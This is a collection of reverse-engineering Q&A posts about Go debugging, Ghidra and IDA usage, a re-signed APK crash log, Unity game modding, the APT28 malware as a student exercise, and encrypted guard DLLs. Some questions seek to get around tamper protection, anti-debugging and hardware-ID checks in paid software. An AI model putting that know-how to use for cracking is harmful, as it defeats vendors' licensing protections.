'gdb', 'ghidra', 'aarch64']"," Title: What do you think is the optimum environment for reverse engineering dynamically-linked aarch64 Golang binaries developed in Alpine Linux?Body: Direct quote from Golang's website: "GDB does not understand Go programs well. The stack management, threading, and runtime contain aspects that differ enough from the execution model GDB expects that they can confuse the debugger and cause incorrect results even when the program is compiled with gccgo. As a consequence, although GDB can be useful in some situations (e.g., debugging Cgo code, or debugging the runtime itself), it is not a reliable debugger for Go programs, particularly heavily concurrent ones. Moreover, it is not a priority for the Go project to address these issues, which are difficult." +I'm also aware of projects such as IDAGolangHelper or other scripts to aid already established reverse engineering tools such as Ghidra in interpreting Golang binaries. Nevertheless, I would like to know assuming one prefers a self-containing debugging tool that is already successful in understanding the eccentric Go runtime, what will your choice(s) be? Also, I would appreciate any comments on Radare2's ability in handling Go binaries. +EDIT 1 (Clarification of Question): Assuming working on a x86_64 host it seems to me that QEMU's system mode is an essential part of the environment considering the fact that ptrace is not implemented in the QEMU's user mode. The other factor is obviously the libc implementation. For a dynamically-linked binary with the ld-musl-aarch64.so.1 interpreter this adds a Linux distribution with musl as the native libc implementation unless one wishes to build musl on a distribution already having glibc installed. So I guess my question would be what other functionalities (or tools) will you add to QEMU and Alpine? +" +['ghidra']," Title: mmap with file descriptor -1 in disassembled outputBody: I am reversing a binary using Ghidra. In the disassembled output, I have the following lines in the main function: +
(code *)mmap((void *)0x0,0x55,7,0x22,-1,0)
+
+I am quite confused here since the file descriptor appears to be -1 and I remember reading that file descriptors should be non-negative. +Can someone please tell me what I am missing here? +" +"['android', 'apk']"," Title: apk crashed on launch when re-signed with debug keyBody: I sometimes decompile and recompile apks and make changes (like changing graphics, text etc...) normally I use apktool to decompile and recompile and then use testsign.jar to resign the apk with the debug keys or uber apk signer since it supports v2/v3 signatures. +This usually works fine, however I found that if I resign a particular apk with debug keys then it will install fine but it will always crash when launched. +To be clear, for testing purposes what I am doing is: I am not even decompiling or recompiling it at all, just taking the original apk (which installs and runs OK) and then resigning it. +Here is the logcat from the crash: +
12-04 15:44:57.364 11969 12006 W org.skvalex.cr: 0xebadde09 skipped times: 0
+12-04 15:44:57.364 11969 12006 F libc    : Fatal signal 11 (SIGSEGV), code -6 (SI_TKILL) in tid 12006 (ComThread), pid 11969 (org.skvalex.cr)
+12-04 15:44:57.378  1358  6828 D WifiPermissionsUtil: canAccessScanResults: pkgName = com.sec.android.sdhms, uid = 1000
+12-04 15:44:57.386  1358  2047 D MdnieScenarioControlService:  packageName : org.skvalex.cr    className : org.skvalex.cr.LauncherActivity
+12-04 15:44:57.386  1358  2047 V MdnieScenarioControlService: setUIMode from UI function(3)
+12-04 15:44:57.412 12009 12009 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone
+12-04 15:44:57.412  1044  1044 I /system/bin/tombstoned: received crash request for pid 12006
+12-04 15:44:57.413 12009 12009 I crash_dump64: performing dump of process 11969 (target tid = 12006)
+12-04 15:44:57.419 12009 12009 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
+12-04 15:44:57.419 12009 12009 F DEBUG   : Build fingerprint: 'samsung/starqltesq/starqltesq:9/PPR1.180610.011/G960USQS7CSK4:user/release-keys'
+12-04 15:44:57.419 12009 12009 F DEBUG   : Revision: '14'
+12-04 15:44:57.419 12009 12009 F DEBUG   : ABI: 'arm64'
+12-04 15:44:57.419 12009 12009 F DEBUG   : pid: 11969, tid: 12006, name: ComThread  >>> org.skvalex.cr <<<
+12-04 15:44:57.419 12009 12009 F DEBUG   : signal 11 (SIGSEGV), code -6 (SI_TKILL), fault addr --------
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x0  0000000000000000  x1  0000000000002ee6  x2  000000000000000b  x3  0000000072164fde
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x4  6361500000000000  x5  6361500000000000  x6  6361500000000000  x7  00000000ffffffff
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x8  0000000000000083  x9  6aab5bd0db3a37ff  x10 0000000000430000  x11 000000765cc9a6dc
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x12 000000765cc9a730  x13 000000765cc9a784  x14 000000765cc9a7e4  x15 0000000000000000
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x16 00000076df9706f0  x17 00000076df8f1f7c  x18 0000000070b57a48  x19 00000076566c2008
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x20 00000076566377d0  x21 000000765667fa50  x22 0000000000000000  x23 0000007646236128
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x24 0000007656631f00  x25 0000007656616d70  x26 000000765667fa50  x27 0000000000000003
+12-04 15:44:57.419 12009 12009 F DEBUG   :     x28 0000000000000030  x29 0000007645cee330
+12-04 15:44:57.419 12009 12009 F DEBUG   :     sp  0000007645cee330  lr  000000764623613c  pc  00000076df8f1f84
+12-04 15:44:57.419 12009 12009 I unwind  : Malformed section header found, ignoring...
+12-04 15:44:57.448   754   754 I SurfaceFlinger: Display 0 HWC layers:
+12-04 15:44:57.448   754   754 I SurfaceFlinger:     type    |    handle    | flag |  format   |   source crop (l,t,r,b)    |         frame       | name 
+12-04 15:44:57.448   754   754 I SurfaceFlinger: ------------+--------------+------+-----------+----------------------------+---------------------+------
+12-04 15:44:57.448   754   754 I SurfaceFlinger:      Client | 0x7884e3ae80 | 0002 | RGBA_8888 |   0.0    0.0 1440.0 2960.0 |    0    0 1440 2960 | com.android.systemui.ImageWallpaper[1874]#0
+12-04 15:44:57.448   754   754 I SurfaceFlinger:      Client | 0x788462fe00 | 0000 | RGBA_8888 |   0.0    0.0 1440.0 2960.0 |    0    0 1440 2960 | com.sec.android.app.launcher/com.sec[...].activities.LauncherActivity[2975]#0
+12-04 15:44:57.448   754   754 I SurfaceFlinger:      Device | 0x7884e3a1d0 | 0000 | RGBA_8888 |   0.0    0.0 1440.0   96.0 |    0    0 1440   96 | StatusBar[1874]#0
+12-04 15:44:57.448   754   754 I SurfaceFlinger:      Device | 0x788462f070 | 0000 | RGBA_8888 |   0.0    0.0 1440.0  192.0 |    0 2768 1440 2960 | NavigationBar[1874]#0
+12-04 15:44:57.448   754   754 I SurfaceFlinger: 
+12-04 15:44:57.479 12009 12009 F DEBUG   : 
+12-04 15:44:57.479 12009 12009 F DEBUG   : backtrace:
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #00 pc 0000000000070f84  /system/lib64/libc.so (tgkill+8)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #01 pc 0000000000027138  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #02 pc 00000000000342e8  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #03 pc 000000000004e0c0  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #04 pc 000000000003483c  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #05 pc 0000000000033590  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #06 pc 0000000000034cec  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #07 pc 000000000002df94  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #08 pc 00000000000298e4  /data/data/org.skvalex.cr/files/callrecorder (deleted)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #09 pc 0000000000035090  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.odex (offset 0x33000) (org.skvalex.cr.Native.a+208)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #10 pc 000000000055784c  /system/lib64/libart.so (art_quick_invoke_static_stub+604)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #11 pc 00000000000cfce8  /system/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+232)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #12 pc 0000000000280438  /system/lib64/libart.so (art::interpreter::ArtInterpreterToCompiledCodeBridge(art::Thread*, art::ArtMethod*, art::ShadowFrame*, unsigned short, art::JValue*)+344)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #13 pc 000000000027a440  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+968)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #14 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #15 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #16 pc 00000000004e0fc4  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (org.skvalex.cr.Native.oooooooo+12)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #17 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #18 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame*, art::JValue*)+216)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #19 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+940)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #20 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #21 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #22 pc 000000000022d2c0  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$1.oooooooI+16)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #23 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #24 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame*, art::JValue*)+216)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #25 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+940)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #26 pc 0000000000527fec  /system/lib64/libart.so (MterpInvokeDirect+296)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #27 pc 0000000000549d14  /system/lib64/libart.so (ExecuteMterpImpl+14484)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #28 pc 000000000022d294  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$1.oooooooo)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #29 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #30 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame*, art::JValue*)+216)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #31 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+940)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #32 pc 0000000000529cf0  /system/lib64/libart.so (MterpInvokeVirtualQuick+584)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #33 pc 000000000054d994  /system/lib64/libart.so (ExecuteMterpImpl+29972)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #34 pc 000000000022d588  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo.oooooool)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #35 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #36 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame*, art::JValue*)+216)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #37 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+940)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #38 pc 0000000000527fec  /system/lib64/libart.so (MterpInvokeDirect+296)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #39 pc 0000000000549d14  /system/lib64/libart.so (ExecuteMterpImpl+14484)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #40 pc 000000000022d5a4  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo.oooooooo)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #41 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #42 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&, art::ShadowFrame*, art::JValue*)+216)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #43 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod*, art::Thread*, art::ShadowFrame&, art::Instruction const*, unsigned short, art::JValue*)+940)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #44 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #45 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #46 pc 000000000022d470  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo$1.run+4)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #47 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #48 pc 0000000000517540  /system/lib64/libart.so (artQuickToInterpreterBridge+1020)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #49 pc 00000000005606fc  /system/lib64/libart.so (art_quick_to_interpreter_bridge+92)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #50 pc 0000000000b224cc  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.Handler.dispatchMessage+76)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #51 pc 0000000000b25630  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.Looper.loop+1264)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #52 pc 0000000000b244d4  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.HandlerThread.run+548)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #53 pc 0000000000557588  /system/lib64/libart.so (art_quick_invoke_stub+584)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #54 pc 00000000000cfcc8  /system/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+200)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #55 pc 000000000045e1ec  /system/lib64/libart.so (art::(anonymous namespace)::InvokeWithArgArray(art::ScopedObjectAccessAlreadyRunnable const&, art::ArtMethod*, art::(anonymous namespace)::ArgArray*, art::JValue*, char const*)+104)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #56 pc 000000000045f2a8  /system/lib64/libart.so (art::InvokeVirtualOrInterfaceWithJValues(art::ScopedObjectAccessAlreadyRunnable const&, _jobject*, _jmethodID*, jvalue*)+424)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #57 pc 000000000048a6c8  /system/lib64/libart.so (art::Thread::CreateCallback(void*)+1120)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #58 pc 0000000000083840  /system/lib64/libc.so (__pthread_start(void*)+36)
+12-04 15:44:57.479 12009 12009 F DEBUG   :     #59 pc 0000000000023d80  /system/lib64/libc.so (__start_thread+68)
+12-04 15:44:57.543  3504  3504 I SKBD    : anc isTosAccept false
+12-04 15:44:57.682  1044  1044 E /system/bin/tombstoned: Tombstone written to: /data/tombstones/tombstone_09
+12-04 15:44:57.683  1358 12012 W ActivityManager: crash : org.skvalex.cr,0
+
+Does anyone have any idea what could be going wrong here or why it might crash from only changing the signature? +I tried googling some of the errors in here but only found results for developers debugging their apps. +This is a paid app so it ocurred to me that this may be some sort of tamper-protection or something like that? +" +"['ida', 'stack']"," Title: Creating stack variables when they are addressed by non-SP registerBody: So, I have ARM code which uses R7 as the register to access the stack variables: + +In the first basic block IDA successfully identified R7 as stack pointer and created the variables. But then, after 40123C, there's still code which references stack variables via R7, and IDA didn't create the variables. If I press K on [R7,#4] it creates the stack variable at +4 offset: + +Where in fact, it should have created the variable at -0x14. +Is there any way I can make IDA create stack variable at those LDR R3, [R7,#4] properly? +" +"['decompilation', 'game-hacking']"," Title: Modifying UnityPlayer.dll with dnSpy or otherBody: I've been looking into reverse engineering a game developped with Unity 2017.4.10, to find a way to get a freely controlled camera. I found the values that interest me in Managed/Assembly-CSharp.dll and figured out how to modify them with dnSpy, however any changes to this dll don't have any effect in-game. Using VMMap told me the game doesn't load the Assembly-CSharp.dll at all, and I assume the code for the game is in UnityPlayer.dll. That dll seems to be obfuscated, since dnSpy is unable to read it beyond hex. +My question is two-fold: +
    +
  1. Is there a way to decompile UnityPlayer.dll in a more readable way?
  2. +
  3. Is it perhaps possible to inject the successfully modified Assembly-CSharp.dll into the game to replace functions loaded from UnityPlayer.dll?
  4. +
+" +"['ida', 'encodings', 'strings', 'pe32']"," Title: How to convert hexadecimal values to 16-bit Unicode in IDA Pro 7.5?Body: The context: +For a student project which goal is to make us learn reverse engineering and how to use IDA Pro, we have to reverse engineer the APT28 hospitality malware (as described in this blog post: https://blog.xpnsec.com/apt28-hospitality-malware-part-2/) +For this matter, we are provided with IDA Educational licenses (version 7.5) and the malicious Word file. After extracting the malware from the Word file, we can start reverse engineering the malware. +The problem: +As you can see in the blog post, it's possible (some way or the other) to make IDA decode the strings that are set in the load function (the following screenshot is from the blogpost): + +However, when we tried to reproduce this, we couldn't find a way to do it. If I'm not mistaken, each mov instruction actually puts 2 characters encoded in 16-bit (widechar) unicode (UTF-8) into the specified address (found by applying an offset to ebp). We can confirm this by looking at the malware in Ghidra: + +What I tried: +I tried to change the value of the ENCODING variable in ida.cfg so that auto-analysis recognizes UTF-8. (based on this: https://www.hex-rays.com/products/ida/news/7_0/docs/strlits/) +Based on this page IDA Convert to Unicode I tried 2 things: + +When I try these 2 things, I end up with the following in the output window: +
Command "SetStrlitStyle" failed.
+
+End goal: +Ultimately, I can continue the work with Ghidra, but the goal is to actually learn new things about IDA and be able to use it correctly. There must be something I don't understand and I would love to increase my knowledge about this tool. We tried asking the teacher but he didn't know how to do it either. +Any help would be really appreciated. +" +"['debugging', 'c++', 'dll', 'x64dbg']"," Title: how can ı debug encrypted dll with x32dbg and look getregistery requestBody: I have an executable with 2 .dll calls 1 of this dll is guard.dll others name is guardlib.dll both of them is encrypted c++ library file and they are called before executable entry point. +I can bypass anti-debug with x32dbg and now ı want to extract decrypted dll with debugger is that possible +Also this dlls are creating HWID with apı calls and registery keys (I think) Is there a way to have a look at what registry keys are looking for? +If anyone wants to help me please contact me :) +" +['ida']," Title: IDA plugin to show xrefs to virtual functions?Body: I'm analyzing a C++ PE binary with its debug symbols using IDA 7.3 w/ the decompiler. +I'm using the HexRaysPyTools plugin to get the xrefs to class fields, but it doesn't show xrefs to virtual functions. +I want to know if there is an existing similar plugin that can build the xref list for calls to virtual functions statically (ie. without running the code). +As far as I can understand the behavior of HexRaysPyTools, it should be trivial to do that as the IDA decompiler already recognize virtual function calls when decompiling, I just need it to store the xref list to virtual functions just as HexRaysPyTools does with member fields. +" +"['file-format', 'decompress', 'binary-diagnosis']"," Title: Extracting the contents of an unknown file formatBody: I need some help and advice here. I'm self-learning how to reverse engineer a file content of an unknown format. +Here's the content of two files: +
E5 44 2A F9 1C 72 96 B9 CA B2 40 33 DA 19 B9 56 C4 5F E2 46 C4 A2 37 1C 6B A7 FF 6A 14 96 E6 53 5E 63 0D A3 01 65 65 BC C6 55 1B 90 C9 56 16 6A C9 B8 3D 05 0F E5 13 62 F0 22 6D C6
+
+
DD 9F 44 2E C7 3D D2 31 48 3D 40 18 A8 D6 79 59 AE 31 6A E7 6C E2 92 6A A9 83 5A DC 64 56 34 1A 85 E7 2E 77 A9 34 32 29 61 4C A4 54 E1 76 6B C7 94 C0 FF 66 7F BC 1B A0 43 5C 83 87 19 1F AD AC 24 56 EE E4 87 9F BB 02 BD C1 35 ED F5
+
+These two files are supposed to have the same information because I saved them with the same "visible" data from the user perspective (with just some seconds of difference between each saves). +The readable data should have something like this string "1111111111111100". +Aditional one: +
02 D6 AB D8 4B 18 19 C2 88 AF A7 4E 7D DD C1 27 E4 FC A4 32 83 44 32 32 E9 2C 26 00 F9 56 8F F7 57 DC C0 E4 BB B2 65 55 CF E3 14 21 9F 07 51 A6 C0 1D 1D 74 3C 92 76 5C BB BE BE A1 3D E0 C5 4D BD 21 DC 11 83 C8 2A FC 9F 46 56 A3 34 98 2B BE 53 05 55 EE
+
+I have the software that reads both files. I tried to change some values and I was able to get some descriptive errors, like "wrong version", "wrong format", "CRC error". +Is it compressed? Encrypted? Both? +Any advice? +" +['radare2']," Title: Getting memory address of particular bytes in radare2Body: in pwnlib there is a possibility to search for particular bytes, e.g. as follows for 0x66 byte: +
print(next(p.elf.search(b'f')))
+
+which in turn results in the following output: +
4195268
+
+Having this value it is possible to examine it as an address in radare2: +
pd 1 @ 4195268
+
+        0x004003c4      666c           insb byte [rdi], dx
+
+And it refers properly to a sequence of bytes containing desired 'f' (0x66). +However, this is neither a physical address nor a virtual one: +
[0x00400520]> ?v 4195268
+        0x4003c4
+[0x00400520]> ?p 4195268
+        0x000003c4
+
+And I couldn't get it from radare2 directly. Instead, searching for bytes in r2 results in reference to virtual address, not to the value returned by ELF class from pwntools. +
[0x00400520]> /x 66
+
+0x004003c4 hit10_0 66
+
+So, what is it actually an address of? And how I can get the same value returned by pwntools in radare2? +Thank you! +" +"['ida', 'idapython']"," Title: Ida python find function address that using stringBody: I have string at address 0xaaaa that I want to know the address of function that use this string +
import idautils
+len(list(idautils.XrefsTo(0xaaaa,1))) 
+
+return 0 +Why is that ? When I tried this code with function address that work. +So how can I find the address of function that using string that located at 0xaaaa address? +" +['ida']," Title: IDA how to view path between 2 functionsBody: I like to view the path between 2 functions with IDA 7.0. +I have already tried with "function browser" but not work becouse these 2 functions are not linked. +For what I see there is no way to choose multiple functions and see their position in the graph. +There is a way with IDA or other software to show the path between multiple functions ? +Thanks ! +" +['javascript']," Title: automatically find the object ""this"" refers to in jsBody: Im quite new to javascript and sometimes I find it really hard to find what object a keyword 'this' refers to. Is there a code editor that is able to do that for me? Or any other advice that could help me :) +Thanks! +" +['ida-plugin']," Title: IDA plugin with visual studio c++ 2019Body: Hello all and sorry for my bad English +I am trying to test an example for developping plugin in C++ with IDA from the book : +http://www.binarypool.com/idapluginwriting/idapw.pdf +I am using Visual c++ 2019. +The plugin example source is : +
#include <ida.hpp>
+#include <idp.hpp>
+#include <loader.hpp>
+
+
+int IDAP_init(void)
+{
+    // Do checks here to ensure your plug-in is being used within
+    // an environment it was written for. Return PLUGIN_SKIP if the
+    // checks fail, otherwise return PLUGIN_KEEP.
+    return PLUGIN_KEEP;
+}
+
+void IDAP_term(void)
+{
+    // Stuff to do when exiting, generally you'd put any sort
+    // of clean-up jobs here.
+    return;
+}
+
+// The plugin can be passed an integer argument from the plugins.cfg
+// file. This can be useful when you want the one plug-in to do
+// something different depending on the hot-key pressed or menu
+// item selected.
+void IDAP_run(int arg)
+{
+    // The "meat" of your plug-in
+    msg("Hello world!");
+    return;
+}
+// There isn't much use for these yet, but I set them anyway.
+char IDAP_comment[] = "This is my test plug-in";
+char IDAP_help[] = "My plugin";
+
+// The name of the plug-in displayed in the Edit->Plugins menu. It can
+// be overridden in the user's plugins.cfg file.
+char IDAP_name[] = "My plugin";
+
+// The hot-key the user can use to run your plug-in.
+char IDAP_hotkey[] = "Alt-X";
+
+// The all-important exported PLUGIN object
+
+plugin_t PLUGIN =
+{
+    IDP_INTERFACE_VERSION, // IDA version plug-in is written for
+    0, // Flags (see below)
+    IDAP_init, // Initialisation function
+    IDAP_term, // Clean-up function
+    IDAP_run, // Main plug-in body
+    IDAP_comment, // Comment – unused
+    IDAP_help, // As above – unused
+    IDAP_name, // Plug-in name shown in
+    // Edit->Plugins menu
+    IDAP_hotkey // Hot key to run the plug-in
+};
+
+When compiling, I got 2 errors : +
Error C2440 'initializing': cannot convert from 'int (__cdecl *)(void)' to 'plugmod_t *(__cdecl *)(void)'   Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\main.cpp  48  
+Error C2440 'initializing': cannot convert from 'void (__cdecl *)(int)' to 'bool (__cdecl *)(size_t)'   Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\main.cpp  50  
+
+ +I found nothing about that on the Net... Can someone give me an idea of what is going wrong ? +Thanks you very much. +I have used the informations given in the readme.txt to configure VC++ : +
How to set up Visual C++ 2017 for IDA Plugins
+---------------------------------------------
+
+This guide will help you set up a Visual C++ project that targets both ida32 and ida64 plugins.
+Remember that, even though ida32 is used to work on 32-bit files, it is also an x64 application.
+Therefore, both plugins (ida32 and ida64) must be built for the x64 platform.
+
+1. File | New | Project From Existing Code...
+
+2. What type of project would you like to create: Visual C++
+   <next>
+
+3. Project file location: <folder where you have your files>
+   Project name: <your plugin's name>
+   <finish>
+
+Once the project is initialized, right-click on the project name and pick Properties.
+
+4. Configuration Manager...
+     Active solution platform: select "x64"
+   <Close>
+
+5. General | Project Defaults | Configuration Type
+     Dynamic Library (.dll)
+   <apply>
+
+6. C/C++ | General | Additional Include Directories
+     Enter the SDK's include folder in "Include search paths (/I)": eg. C:\idasdk\include;
+   <apply>
+
+7. C/C++ | Code Generation | Runtime library (visible only after you add one .cpp file to the project)
+     Multi-threaded DLL (/MD)
+   <apply>
+
+8. Linker | Command Line | Additional options
+     - for processor modules: /EXPORT:LPH
+     - for plugins: /EXPORT:PLUGIN
+     - for loaders: /EXPORT:LDSC
+   <apply>
+
+The steps above constituted the common configuration for both ida32 and ida64 configurations.
+
+We will now create the separate configurations.
+
+9. Still under "Configuration Manager..."
+
+     - under the "Configuration" column, click on "Debug"
+     - click "<Edit...>"
+     - click "Rename"
+     - add an "ida32" prefix to the configuration name, such as "ida32 Debug"
+     - <Enter>
+     - <Yes>
+     - <Close>
+
+     - under "Active solution configuration", click on "Debug"
+     - click "<Edit...>"
+     - click "Rename"
+     - add an "ida32" prefix to the configuration name, such as "ida32 Debug"
+     - <Enter>
+     - <Yes>
+     - <Close>
+
+     - under "Active solution configuration", click on the new configuration name "ida32 Debug"
+     - click "<New...>"
+     - use a similar name, but with the "ida64" prefix, such as "ida64 Debug"
+     - Copy settings from: "ida32 Debug"
+     - <Ok>
+     - <Close>
+
+In the "Property Page", under "Configuration", select "ida32 Debug".
+
+10. Debugging | Command
+      - for ida32: C:\Program Files\IDA 7.2\ida.exe
+      - for ida64: C:\Program Files\IDA 7.2\ida64.exe
+    <apply>
+
+11. C/C++ | Preprocessor | Preprocessor Definitions
+      - for ida32: __NT__;
+      - for ida64: __NT__;__EA64__;
+    <apply>
+
+12. Linker | General | Output File:
+      - for ida32: $(OutDir)\$(ProjectName).dll
+      - for ida64: $(OutDir)\$(ProjectName)64.dll
+    <apply>
+
+13. Linker | Input | Additional Dependencies
+      - for ida32: C:\idasdk\lib\x64_win_vc_32\ida.lib
+      - for ida64: C:\idasdk\lib\x64_win_vc_64\ida.lib
+    <apply>
+
+In the "Property Page", under "Configuration", select "ida64 Debug" and repeat the last three steps.
+
+
+You should now be capable to easily switch between the "ida32 Debug" and "ida64 Debug" configurations and build your project.
+
